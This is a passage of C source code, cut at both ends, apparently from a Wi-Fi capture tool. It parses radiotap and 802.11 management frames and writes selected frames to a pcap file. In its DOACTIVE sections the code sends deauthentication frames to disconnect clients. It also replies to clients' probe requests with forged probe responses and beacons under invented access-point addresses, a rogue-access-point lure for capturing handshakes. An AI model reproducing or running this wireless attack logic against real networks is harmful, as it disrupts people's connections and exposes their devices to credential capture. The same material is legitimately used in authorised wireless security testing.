if((rth->it_present & 0x02) == 0x02)
{
field = 0x08;
if((rth->it_present & 0x01) == 0x01)
field += 0x0c;
if((rth->it_present & 0x80000000) == 0x80000000)
field += 0x04;
if((packet[field] & 0x10) == 0x10)
fcsl = 4;
}
pkh->caplen -= rth->it_len +fcsl;
pkh->len -= rth->it_len +fcsl;
h80211 = packet + rth->it_len;
}
macf = (mac_t*)(h80211);
macl = MAC_SIZE_NORM;
if (macf->type == MAC_TYPE_CTRL)
{
if (macf->subtype == MAC_ST_RTS)
macl = MAC_SIZE_RTS;
else
{
if (macf->subtype == MAC_ST_ACK)
macl = MAC_SIZE_ACK;
}
}
else
{
if (macf->type == MAC_TYPE_DATA)
if (macf->subtype & MAC_ST_QOSDATA)
macl += QOS_SIZE;
}
payload = ((uint8_t*)macf)+macl;
/* check management frames */
if(macf->type == MAC_TYPE_MGMT)
{
if(macf->subtype == MAC_ST_BEACON)
{
essidf = (essid_t*)(payload +BEACONINFO_SIZE);
if(essidf->info_essid != 0)
continue;
if(essidf->info_essid_len > 32)
continue;
if(essidf->info_essid_len == 0)
continue;
if(&essidf->essid[0] == 0)
continue;
if(handleapframes(macf->addr2.addr, essidf->info_essid_len, essidf->essid) == FALSE)
{
#ifdef DOACTIVE
senddeauth(MAC_ST_DEAUTH, WLAN_REASON_PREV_AUTH_NOT_VALID, macf->addr1.addr, macf->addr2.addr);
#endif
pcap_dump((u_char *) pcapout, pkh, h80211);
#ifdef DOSTATUS
printaddr(macf->addr1.addr, macf->addr2.addr, TRUE);
memset(&essidstr, 0, 34);
memcpy(&essidstr, essidf->essid, essidf->info_essid_len);
printf("%s (beacon)\n", essidstr);
#endif
}
continue;
}
else if(macf->subtype == MAC_ST_PROBE_RESP)
{
essidf = (essid_t*)(payload +BEACONINFO_SIZE);
if(essidf->info_essid != 0)
continue;
if(essidf->info_essid_len > 32)
continue;
if(essidf->info_essid_len == 0)
continue;
if (&essidf->essid[0] == 0)
continue;
if(handleapframes(macf->addr2.addr, essidf->info_essid_len, essidf->essid) == FALSE)
{
pcap_dump((u_char *) pcapout, pkh, h80211);
#ifdef DOSTATUS
printaddr(macf->addr1.addr, macf->addr2.addr, TRUE);
memset(&essidstr, 0, 34);
memcpy(&essidstr, essidf->essid, essidf->info_essid_len);
printf("%s (proberesponse)\n", essidstr);
#endif
}
continue;
}
/* check proberequest frames */
else if(macf->subtype == MAC_ST_PROBE_REQ)
{
essidf = (essid_t*)(payload);
if(essidf->info_essid != 0)
continue;
if(essidf->info_essid_len > 32)
continue;
if(essidf->info_essid_len == 0)
continue;
if (&essidf->essid[0] == 0)
continue;
#ifdef DOACTIVE
if(memcmp(&broadcast, macf->addr1.addr, 6) != 0)
{
sendproberesponse(channel, macf->addr2.addr, macf->addr1.addr, essidf->info_essid_len, essidf->essid);
sendbeacon(channel, macf->addr1.addr, essidf->info_essid_len, essidf->essid);
}
else
{
zeiger = apliste;
for(c = 0; c < APLISTESIZEMAX; c++)
{
if((zeiger->essid_len == essidf->info_essid_len) && (memcmp(zeiger->essid, essidf->essid, essidf->info_essid_len) == 0))
{
sendproberesponse(channel, macf->addr2.addr, zeiger->addr_ap.addr, essidf->info_essid_len, essidf->essid);
sendbeacon(channel, zeiger->addr_ap.addr, essidf->info_essid_len, essidf->essid);
break;
}
if(memcmp(&mac_null, zeiger->addr_ap.addr, 6) == 0)
{
myaddr.addr[5] = myap & 0xff;
myaddr.addr[4] = (myap >> 8) & 0xff;
myaddr.addr[3] = (myap >> 16) & 0xff;
myap++;
sendproberesponse(channel, macf->addr2.addr, myaddr.addr, essidf->info_essid_len, essidf->essid);
sendbeacon(channel, myaddr.addr, essidf->info_essid_len, essidf->essid);
break;
}
zeiger++;
}
if(c >= APLISTESIZEMAX)
{
myaddr.addr[5] = myap & 0xff;
myaddr.addr[4] = (myap >> 8) & 0xff;
myaddr.addr[3] = (myap >> 16) & 0xff;
myap++;
sendproberesponse(channel, macf->addr2.addr, myaddr.addr, essidf->info_essid_len, essidf->essid);
sendbeacon(channel, myaddr.addr, essidf->info_essid_len, essidf->essid);
}
}
#endif
if(handlestaframes(macf->addr1.addr, macf->addr2.addr, essidf->info_essid_len, essidf->essid) == FALSE)
{
pcap_dump((u_char *) pcapout, pkh, h80211);
#ifdef DOSTATUS
printaddr(macf->addr2.addr, macf->addr1.addr, FALSE);
memset(&essidstr, 0, 34);
memcpy(&essidstr, essidf->essid, essidf->info_essid_len);
printf("%s (proberequest)\n", essidstr);
#endif
}
continue;
}
/* check associationrequest - reassociationrequest frames */
else if(macf->subtype == MAC_ST_ASSOC_REQ)
{
essidf = (essid_t*)(payload +ASSOCIATIONREQF_SIZE);
if(essidf->info_essid != 0)
continue;
if(essidf->info_essid_len > 32)
continue;
if(essidf->info_essid_len == 0)
continue;
if (&essidf->essid[0] == 0)
continue;
#ifdef DOACTIVE